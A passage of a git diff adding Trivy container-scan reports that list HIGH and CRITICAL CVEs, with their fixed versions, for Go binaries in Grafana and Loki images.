https://avd.aquasec.com/nvd/cve-2026-39821 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39822 │ │ │ │ 1.25.12, 1.26.5, 1.27.0-rc.2 │ golang: Go os.Root: Symlink following vulnerability allows │ +│ │ │ │ │ │ │ directory traversal │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39822 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39836 │ │ │ │ 1.25.10, 1.26.3 │ net: golang: Go net package: Denial of Service via NUL byte │ +│ │ │ │ │ │ │ in... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39836 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42499 │ │ │ │ │ net/mail: golang: net/mail: Denial of Service via │ +│ │ │ │ │ │ │ pathological email address parsing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42499 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42504 │ │ │ │ 1.25.11, 1.26.4 │ mime: golang: Golang MIME: Denial of Service via │ +│ │ │ │ │ │ │ maliciously-crafted MIME header │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42504 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56853 │ │ │ │ 1.25.13, 1.26.6, 1.27.0-rc.3 │ net/http: golang: Go net/http: Unencrypted HTTP/2 │ +│ │ │ │ │ │ │ connections vulnerable to Denial of Service... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56853 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56858 │ │ │ │ │ html/template: golang: Go html/template: Cross-Site │ +│ │ │ │ │ │ │ Scripting via pathological input │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56858 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56859 │ │ │ │ │ encoding/xml: golang: Go: Denial of Service via XML decoding │ +│ │ │ │ │ │ │ recursion depth issue... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56859 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56860 │ │ │ │ │ net/url: golang: golang net/url: Denial of Service from │ +│ │ │ │ │ │ │ quadratic complexity in path... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56860 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56862 │ │ │ │ │ crypto/tls: golang: Golang crypto/tls: Denial of Service via │ +│ │ │ │ │ │ │ indefinite KeyUpdate messages │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56862 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78667 │ │ │ │ 1.26.9, 1.27.2 │ net/http: golang: golang: Denial of Service via crafted HTTP │ +│ │ │ │ │ │ │ Range headers │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78667 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78669 │ │ │ │ │ net/http: net/http/internal/http2: golang.org/x/net/http2: │ +│ │ │ │ │ │ │ net/http: Denial of Service via excessive HTTP/2 SETTINGS │ +│ │ │ │ │ │ │ frames... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78669 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-97031 │ │ │ │ │ crypto/tls: golang: crypto/tls: Denial of Service via │ +│ │ │ │ │ │ │ multiple ECH outer extension references... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-97031 │ +└──────────────────────────────────┴─────────────────────┴──────────┴──────────┴──────────────────────────────────────┴───────────────────────────────────────────────────────────┴──────────────────────────────────────────────────────────────┘ + +usr/share/grafana/bin/grafana-cli (gobinary) +============================================ +Total: 26 (HIGH: 25, CRITICAL: 1) + +┌─────────┬─────────────────┬──────────┬────────┬───────────────────┬──────────────────────────────┬──────────────────────────────────────────────────────────────┐ +│ Library │ Vulnerability │ Severity │ Status │ Installed Version │ Fixed Version │ Title │ +├─────────┼─────────────────┼──────────┼────────┼───────────────────┼──────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ stdlib │ CVE-2025-68121 │ CRITICAL │ fixed │ v1.23.7 │ 1.24.13, 1.25.7, 1.26.0-rc.3 │ crypto/tls: crypto/tls: Incorrect certificate validation │ +│ │ │ │ │ │ │ during TLS session resumption │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-68121 │ +│ ├─────────────────┼──────────┤ │ ├──────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-61726 │ HIGH │ │ │ 1.24.12, 1.25.6 │ golang: net/url: Memory exhaustion in query parameter │ +│ │ │ │ │ │ │ parsing in net/url │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-61726 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-61729 │ │ │ │ 1.24.11, 1.25.5 │ crypto/x509: golang: Denial of Service due to excessive │ +│ │ │ │ │ │ │ resource consumption via crafted... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-61729 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-111943 │ │ │ │ 1.26.10, 1.27.3 │ crypto/x509: golang: crypto/x509: Man-in-the-middle attacks │ +│ │ │ │ │ │ │ via untrusted intermediate certificates │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-111943 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-25679 │ │ │ │ 1.25.8, 1.26.1 │ net/url: Incorrect parsing of IPv6 host literals in net/url │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-25679 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-27145 │ │ │ │ 1.25.11, 1.26.4 │ crypto/x509: golang: golang crypto/x509: Denial of Service │ +│ │ │ │ │ │ │ via excessive processing of DNS... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-27145 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-32280 │ │ │ │ 1.25.9, 1.26.2 │ crypto/x509: crypto/tls: golang: Go: Denial of Service │ +│ │ │ │ │ │ │ vulnerability in certificate chain building... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-32280 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-32281 │ │ │ │ │ crypto/x509: golang: Go crypto/x509: Denial of Service via │ +│ │ │ │ │ │ │ inefficient certificate chain validation... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-32281 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-32283 │ │ │ │ │ crypto/tls: golang: Go crypto/tls: Denial of Service via │ +│ │ │ │ │ │ │ multiple TLS 1.3 key... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-32283 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-33811 │ │ │ │ 1.25.10, 1.26.3 │ net: golang: Go net package: Denial of Service via long │ +│ │ │ │ │ │ │ CNAME response... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33811 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-33814 │ │ │ │ │ net/http/internal/http2: golang: golang.org/x/net: Go │ +│ │ │ │ │ │ │ HTTP/2: Denial of Service via malformed │ +│ │ │ │ │ │ │ SETTINGS_MAX_FRAME_SIZE frame... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33814 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-33818 │ │ │ │ 1.25.13, 1.26.6, 1.27.0-rc.3 │ encoding/asn1: golang: Go encoding/asn1: Denial of Service │ +│ │ │ │ │ │ │ via excessive recursion in Unmarshal... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33818 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39820 │ │ │ │ 1.25.10, 1.26.3 │ net/mail: golang: Go net/mail: Denial of Service via crafted │ +│ │ │ │ │ │ │ email inputs │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39820 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39821 │ │ │ │ 1.25.13, 1.26.6, 1.27.0-rc.3 │ golang.org/x/net/idna: golang: net/http: │ +│ │ │ │ │ │ │ golang.org/x/net/idna: Privilege escalation via incorrect │ +│ │ │ │ │ │ │ Punycode label processing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39821 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39822 │ │ │ │ 1.25.12, 1.26.5, 1.27.0-rc.2 │ golang: Go os.Root: Symlink following vulnerability allows │ +│ │ │ │ │ │ │ directory traversal │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39822 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39836 │ │ │ │ 1.25.10, 1.26.3 │ net: golang: Go net package: Denial of Service via NUL byte │ +│ │ │ │ │ │ │ in... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39836 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42499 │ │ │ │ │ net/mail: golang: net/mail: Denial of Service via │ +│ │ │ │ │ │ │ pathological email address parsing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42499 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42504 │ │ │ │ 1.25.11, 1.26.4 │ mime: golang: Golang MIME: Denial of Service via │ +│ │ │ │ │ │ │ maliciously-crafted MIME header │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42504 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56853 │ │ │ │ 1.25.13, 1.26.6, 1.27.0-rc.3 │ net/http: golang: Go net/http: Unencrypted HTTP/2 │ +│ │ │ │ │ │ │ connections vulnerable to Denial of Service... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56853 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56858 │ │ │ │ │ html/template: golang: Go html/template: Cross-Site │ +│ │ │ │ │ │ │ Scripting via pathological input │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56858 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56859 │ │ │ │ │ encoding/xml: golang: Go: Denial of Service via XML decoding │ +│ │ │ │ │ │ │ recursion depth issue... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56859 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56860 │ │ │ │ │ net/url: golang: golang net/url: Denial of Service from │ +│ │ │ │ │ │ │ quadratic complexity in path... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56860 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56862 │ │ │ │ │ crypto/tls: golang: Golang crypto/tls: Denial of Service via │ +│ │ │ │ │ │ │ indefinite KeyUpdate messages │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56862 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78667 │ │ │ │ 1.26.9, 1.27.2 │ net/http: golang: golang: Denial of Service via crafted HTTP │ +│ │ │ │ │ │ │ Range headers │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78667 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78669 │ │ │ │ │ net/http: net/http/internal/http2: golang.org/x/net/http2: │ +│ │ │ │ │ │ │ net/http: Denial of Service via excessive HTTP/2 SETTINGS │ +│ │ │ │ │ │ │ frames... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78669 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-97031 │ │ │ │ │ crypto/tls: golang: crypto/tls: Denial of Service via │ +│ │ │ │ │ │ │ multiple ECH outer extension references... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-97031 │ +└─────────┴─────────────────┴──────────┴────────┴───────────────────┴──────────────────────────────┴──────────────────────────────────────────────────────────────┘ + +usr/share/grafana/bin/grafana-server (gobinary) +=============================================== +Total: 26 (HIGH: 25, CRITICAL: 1) + +┌─────────┬─────────────────┬──────────┬────────┬───────────────────┬──────────────────────────────┬──────────────────────────────────────────────────────────────┐ +│ Library │ Vulnerability │ Severity │ Status │ Installed Version │ Fixed Version │ Title │ +├─────────┼─────────────────┼──────────┼────────┼───────────────────┼──────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ stdlib │ CVE-2025-68121 │ CRITICAL │ fixed │ v1.23.7 │ 1.24.13, 1.25.7, 1.26.0-rc.3 │ crypto/tls: crypto/tls: Incorrect certificate validation │ +│ │ │ │ │ │ │ during TLS session resumption │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-68121 │ +│ ├─────────────────┼──────────┤ │ ├──────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-61726 │ HIGH │ │ │ 1.24.12, 1.25.6 │ golang: net/url: Memory exhaustion in query parameter │ +│ │ │ │ │ │ │ parsing in net/url │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-61726 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-61729 │ │ │ │ 1.24.11, 1.25.5 │ crypto/x509: golang: Denial of Service due to excessive │ +│ │ │ │ │ │ │ resource consumption via crafted... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-61729 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-111943 │ │ │ │ 1.26.10, 1.27.3 │ crypto/x509: golang: crypto/x509: Man-in-the-middle attacks │ +│ │ │ │ │ │ │ via untrusted intermediate certificates │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-111943 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-25679 │ │ │ │ 1.25.8, 1.26.1 │ net/url: Incorrect parsing of IPv6 host literals in net/url │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-25679 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-27145 │ │ │ │ 1.25.11, 1.26.4 │ crypto/x509: golang: golang crypto/x509: Denial of Service │ +│ │ │ │ │ │ │ via excessive processing of DNS... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-27145 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-32280 │ │ │ │ 1.25.9, 1.26.2 │ crypto/x509: crypto/tls: golang: Go: Denial of Service │ +│ │ │ │ │ │ │ vulnerability in certificate chain building... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-32280 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-32281 │ │ │ │ │ crypto/x509: golang: Go crypto/x509: Denial of Service via │ +│ │ │ │ │ │ │ inefficient certificate chain validation... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-32281 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-32283 │ │ │ │ │ crypto/tls: golang: Go crypto/tls: Denial of Service via │ +│ │ │ │ │ │ │ multiple TLS 1.3 key... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-32283 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-33811 │ │ │ │ 1.25.10, 1.26.3 │ net: golang: Go net package: Denial of Service via long │ +│ │ │ │ │ │ │ CNAME response... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33811 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-33814 │ │ │ │ │ net/http/internal/http2: golang: golang.org/x/net: Go │ +│ │ │ │ │ │ │ HTTP/2: Denial of Service via malformed │ +│ │ │ │ │ │ │ SETTINGS_MAX_FRAME_SIZE frame... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33814 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-33818 │ │ │ │ 1.25.13, 1.26.6, 1.27.0-rc.3 │ encoding/asn1: golang: Go encoding/asn1: Denial of Service │ +│ │ │ │ │ │ │ via excessive recursion in Unmarshal... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33818 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39820 │ │ │ │ 1.25.10, 1.26.3 │ net/mail: golang: Go net/mail: Denial of Service via crafted │ +│ │ │ │ │ │ │ email inputs │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39820 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39821 │ │ │ │ 1.25.13, 1.26.6, 1.27.0-rc.3 │ golang.org/x/net/idna: golang: net/http: │ +│ │ │ │ │ │ │ golang.org/x/net/idna: Privilege escalation via incorrect │ +│ │ │ │ │ │ │ Punycode label processing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39821 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39822 │ │ │ │ 1.25.12, 1.26.5, 1.27.0-rc.2 │ golang: Go os.Root: Symlink following vulnerability allows │ +│ │ │ │ │ │ │ directory traversal │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39822 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39836 │ │ │ │ 1.25.10, 1.26.3 │ net: golang: Go net package: Denial of Service via NUL byte │ +│ │ │ │ │ │ │ in... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39836 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42499 │ │ │ │ │ net/mail: golang: net/mail: Denial of Service via │ +│ │ │ │ │ │ │ pathological email address parsing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42499 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42504 │ │ │ │ 1.25.11, 1.26.4 │ mime: golang: Golang MIME: Denial of Service via │ +│ │ │ │ │ │ │ maliciously-crafted MIME header │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42504 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56853 │ │ │ │ 1.25.13, 1.26.6, 1.27.0-rc.3 │ net/http: golang: Go net/http: Unencrypted HTTP/2 │ +│ │ │ │ │ │ │ connections vulnerable to Denial of Service... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56853 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56858 │ │ │ │ │ html/template: golang: Go html/template: Cross-Site │ +│ │ │ │ │ │ │ Scripting via pathological input │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56858 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56859 │ │ │ │ │ encoding/xml: golang: Go: Denial of Service via XML decoding │ +│ │ │ │ │ │ │ recursion depth issue... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56859 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56860 │ │ │ │ │ net/url: golang: golang net/url: Denial of Service from │ +│ │ │ │ │ │ │ quadratic complexity in path... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56860 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56862 │ │ │ │ │ crypto/tls: golang: Golang crypto/tls: Denial of Service via │ +│ │ │ │ │ │ │ indefinite KeyUpdate messages │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56862 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78667 │ │ │ │ 1.26.9, 1.27.2 │ net/http: golang: golang: Denial of Service via crafted HTTP │ +│ │ │ │ │ │ │ Range headers │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78667 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78669 │ │ │ │ │ net/http: net/http/internal/http2: golang.org/x/net/http2: │ +│ │ │ │ │ │ │ net/http: Denial of Service via excessive HTTP/2 SETTINGS │ +│ │ │ │ │ │ │ frames... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78669 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-97031 │ │ │ │ │ crypto/tls: golang: crypto/tls: Denial of Service via │ +│ │ │ │ │ │ │ multiple ECH outer extension references... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-97031 │ +└─────────┴─────────────────┴──────────┴────────┴───────────────────┴──────────────────────────────┴──────────────────────────────────────────────────────────────┘ diff --git a/evidence/trivy-loki.txt b/evidence/trivy-loki.txt new file mode 100644 index 0000000..3581190 --- /dev/null +++ b/evidence/trivy-loki.txt @@ -0,0 +1,274 @@ + +Report Summary + +┌───────────────────────────────┬──────────┬─────────────────┐ +│ Target │ Type │ Vulnerabilities │ +├───────────────────────────────┼──────────┼─────────────────┤ +│ /scan/image.tar (debian 12.9) │ debian │ 0 │ +├───────────────────────────────┼──────────┼─────────────────┤ +│ usr/bin/loki │ gobinary │ 60 │ +└───────────────────────────────┴──────────┴─────────────────┘ +Legend: +- '-': Not scanned +- '0': Clean (no security findings detected) + + +usr/bin/loki (gobinary) +======================= +Total: 60 (HIGH: 58, CRITICAL: 2) + +┌──────────────────────────────────┬─────────────────────┬──────────┬────────┬───────────────────┬───────────────────────────────────────────────────────────┬──────────────────────────────────────────────────────────────┐ +│ Library │ Vulnerability │ Severity │ Status │ Installed Version │ Fixed Version │ Title │ +├──────────────────────────────────┼─────────────────────┼──────────┼────────┼───────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ github.com/buger/jsonparser │ CVE-2026-32285 │ HIGH │ fixed │ v1.1.1 │ 1.1.2 │ github.com/buger/jsonparser: github.com/buger/jsonparser: │ +│ │ │ │ │ │ │ Denial of Service via malformed JSON input │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-32285 │ +├──────────────────────────────────┼─────────────────────┤ │ ├───────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ github.com/golang-jwt/jwt/v4 │ CVE-2025-30204 │ │ │ v4.5.1 │ 4.5.2 │ golang-jwt/jwt: jwt-go allows excessive memory allocation │ +│ │ │ │ │ │ │ during header parsing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-30204 │ +├──────────────────────────────────┤ │ │ ├───────────────────┼───────────────────────────────────────────────────────────┤ │ +│ github.com/golang-jwt/jwt/v5 │ │ │ │ v5.2.1 │ 5.2.2 │ │ +│ │ │ │ │ │ │ │ +│ │ │ │ │ │ │ │ +├──────────────────────────────────┼─────────────────────┤ │ ├───────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ github.com/klauspost/compress │ CVE-2026-63209 │ │ │ v1.17.11 │ 1.18.7 │ github.com/klauspost/compress: klauspost/compress: Denial of │ +│ │ │ │ │ │ │ Service via integer overflow in dictionary processing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-63209 │ +├──────────────────────────────────┼─────────────────────┤ │ ├───────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ github.com/prometheus/prometheus │ CVE-2026-42151 │ │ │ v0.55.0 │ 0.311.3 │ github.com/prometheus/prometheus: Prometheus: Information │ +│ │ │ │ │ │ │ disclosure of Azure OAuth client secret via config API... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42151 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42154 │ │ │ │ 0.311.3, 0.305.2 │ github.com/prometheus/prometheus: Prometheus: Denial of │ +│ │ │ │ │ │ │ Service via uncontrolled memory allocation in remote read... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42154 │ +├──────────────────────────────────┼─────────────────────┤ │ ├───────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ go.opentelemetry.io/otel/sdk │ CVE-2026-24051 │ │ │ v1.33.0 │ 1.40.0 │ opentelemetry-go: OpenTelemetry-Go Affected by Arbitrary │ +│ │ │ │ │ │ │ Code Execution via PATH Hijacking │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-24051 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39883 │ │ │ │ 1.43.0 │ github.com/open-telemetry/opentelemetry-go: │ +│ │ │ │ │ │ │ OpenTelemetry-Go: Arbitrary code execution via PATH │ +│ │ │ │ │ │ │ hijacking on BSD/Solaris │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39883 │ +├──────────────────────────────────┼─────────────────────┤ │ ├───────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ golang.org/x/crypto │ CVE-2025-22869 │ │ │ v0.32.0 │ 0.35.0 │ golang.org/x/crypto/ssh: Denial of Service in the Key │ +│ │ │ │ │ │ │ Exchange of golang.org/x/crypto/ssh │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-22869 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-47913 │ │ │ │ 0.43.0 │ golang.org/x/crypto/ssh/agent: │ +│ │ │ │ │ │ │ golang.org/x/crypto/ssh/agent: SSH client panic due to │ +│ │ │ │ │ │ │ unexpected SSH_AGENT_SUCCESS │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-47913 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39828 │ │ │ │ 0.52.0 │ golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: │ +│ │ │ │ │ │ │ Unauthorized command execution via discarded SSH permissions │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39828 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39829 │ │ │ │ │ golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: Denial of │ +│ │ │ │ │ │ │ Service via crafted public key with excessive parameters... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39829 │ +│ 